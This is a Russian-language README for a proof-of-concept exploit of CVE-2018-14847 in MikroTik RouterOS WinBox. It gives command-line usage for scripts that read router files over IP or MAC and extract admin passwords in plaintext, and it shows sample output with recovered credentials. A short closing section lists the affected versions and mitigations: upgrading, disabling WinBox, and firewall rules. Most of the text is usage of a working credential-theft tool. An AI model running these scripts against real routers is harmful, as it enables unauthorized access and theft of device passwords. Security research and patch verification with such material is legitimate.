WinboxExploit

Это доказательство концепции критической уязвимости WinBox (CVE-2018-14847), которая позволяет произвольное чтение файлов с паролями в открытом виде.

Запись в блоге

Этот скрипт НЕ будет работать с Python 2.x или ниже.

Скрипт просто используется с простыми аргументами в командной строке.

Эксплуатируйте уязвимость и прочитайте пароль.

python3 WinboxExploit.py <IP-ADDRESS> [PORT]

Пример:

$ python3 WinboxExploit.py 172.17.17.17
Connected to 172.17.17.17:8291
Exploit successful
User: admin
Pass: Th3P4ssWord

Вы можете извлекать файлы, даже если устройство не имеет IP-адреса.

Простая проверка обнаружения локально подключенных устройств Mikrotik.

python3 MACServerDiscover.py

Пример:

$ python3 MACServerDiscover.py
Looking for Mikrotik devices (MAC servers)

    aa:bb:cc:dd:ee:ff 

    aa:bb:cc:dd:ee:aa

Эксплуатируйте уязвимость и прочитайте пароль.

python3 MACServerExploit.py <MAC-ADDRESS>

Пример:

$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff

User: admin
Pass: Th3P4ssWord

Все версии RouterOS с 2015-05-28 по 2018-04-20 уязвимы для этой эксплуатируемой уязвимости.

Устройства Mikrotik, работающие на версиях RouterOS:

Для получения дополнительной информации см.: https://blog.mikrotik.com/security/winbox-vulnerability.html

Обновите маршрутизатор до версии RouterOS, включающей исправление.
Отключите службу WinBox на маршрутизаторе.
Вы можете ограничить доступ к службе WinBox для определенных IP-адресов следующим образом:

/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16

Вы можете использовать некоторые правила фильтрации (ACL) для запрета внешнего доступа к службе WinBox:

/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop

Ограничение доступа к службе mac-winbox можно выполнить, указав разрешенные интерфейсы:

/tool mac-server mac-winbox